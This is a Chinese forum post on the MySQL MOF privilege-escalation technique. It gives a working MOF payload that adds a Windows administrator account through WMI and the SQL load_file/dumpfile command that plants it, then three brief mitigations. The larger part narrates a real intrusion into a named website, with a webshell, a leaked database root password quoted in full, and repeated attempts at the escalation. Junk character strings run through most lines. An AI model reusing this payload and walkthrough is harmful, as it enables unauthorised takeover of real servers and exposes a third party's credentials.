Mysql mof扩展漏洞防范方法* J$ V( a6 F* U* k& U7 B: W* g$ Y; p
4 u& Y7 Y; q+ J# k网上公开的一些利用代码:
- r ]6 i6 B2 O# q8 [
4 w& s) A W" y! K* J) ]4 V- Z#pragma namespace(“\\\\.\\root\\subscription”)
8 G/ ^# k* ?' P+ g. W9 o& w$ P1 h7 Z0 d
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };. j; y$ M& _' a( S8 Z/ @
1 R+ d. f" Q+ `& `2 B( Y
: z8 }4 Z& V H% z! O( E v+ i! J
% e3 J! ~& e) V
! [6 P' ^) H: l5 g. m+ G# N) x5 D* _' G. E9 T* p- q% q" K8 p
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
& G8 Y4 n$ V' F! y& U9 D从上面代码来看得出解决办法:
( [# Y( X Y. ~" R: o4 N5 C/ M
" k6 |7 q2 [$ }1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数( {+ \) ]; U# G% V7 s/ F( J& B9 b7 I: {
& y u3 a* ^* ~3 @& L1 Y8 E
2、禁止使用”WScript.Shel”组件7 N* F/ |+ P$ P8 F7 x
+ O8 S( Y/ @& Z. l3 N! d4 I' y3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
' q X& a9 G/ l/ p# o N2 ^2 W( P, t m( w7 h
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下6 I3 a) T5 L B& P3 T% c6 O
1 Q7 m q5 Q/ ~: D$ t; m2 Z7 l, ?
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
/ N* w& ]) D/ M: X, ^( s/ _
+ n9 o) L6 c3 b, N1 D$ k但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容# K6 H/ g5 u2 J0 K( b M
2 z# V d! @9 H5 P: c
看懂了后就开始练手吧2 _$ D' _/ G8 m1 ?0 O' v
^! v! ~( O0 V$ Xhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
4 h2 J& V4 C. {2 q: R9 ~! G* w8 Z1 ?; Z- N6 Z2 b2 L E- V8 P
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
9 o" s5 L1 [; R- o+ v* E, l1 `( r! D% K& N( s
于是直接用菜刀开搞" l" j( t5 a; \( w. l
5 t! o0 w$ q0 X. U# v) Q% j
上马先4 s/ G% ?" C6 |& r& g- a3 B; {
2 V9 z# A) F# H7 q9 A
既然有了那些账号 之类的 于是我们就执行吧…….$ ~- I( H, s0 C* N
7 A7 Y. ]& s# ]# q小小的说下4 T3 v3 o+ Y. N8 m2 L
( e. S5 \& v4 ]$ O( Y在这里第1次执行未成功 原因未知
T! V. p# T& A# U
5 n4 B4 j f! Q3 A我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
% O6 t4 G+ s8 F% z6 I5 L
4 w) S" U1 M2 `4 X3 P& b#pragma namespace(“\\\\.\\root\\subscription”)
, T- P, z0 r; g* x6 _. D: A; y/ ]& ]- M7 ^/ C
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };5 f% @( x4 J Z8 n
4 t1 `. ]6 s# e3 b: G. w& L
我是将文件放到C:\WINDOWS\temp\1.mof
. T) a7 g3 M' Z: H; U m' \& T' d( g. f! s$ u
所以我们就改下执行的代码1 F/ O8 }* ]3 v; c" ~9 d* t
1 k# R; O7 R# ?8 g) O: B& A8 C
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; O* B0 n' B. n7 d m+ t8 F. e) |
* \4 p" L$ u, M
- H. _' Y) X+ \" M+ s6 ]/ m6 n0 f% ^ k7 c$ f$ J
但是 你会发现账号还是没有躺在那里。。8 M0 T! }" Y5 j+ e, N4 V
2 F E, H5 M6 ?
于是我就感觉蛋疼
/ S- \& [( G& w1 O# G% G- e& _' x1 `& z
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* v, i, T" h! Q. [. M! m: Z9 O, C8 n2 T( U# y% D; P ], R
" F# r0 V$ h6 b9 o, [, z; c
( Y) ]2 P& g. j- N" S; s1 `. o% \但是其他库均不成功…
% w* _& K9 ?* W' s' D
: Y/ E4 \8 T1 w' Z我就很费解呀 到底为什么不成功求大牛解答…& z8 L& Y6 }) g( x# _: z$ N
& `- Y9 V& i- D
- c' \8 d1 B, q6 a8 f6 C
/ k5 ~; K' a! _# O9 y5 e' t
|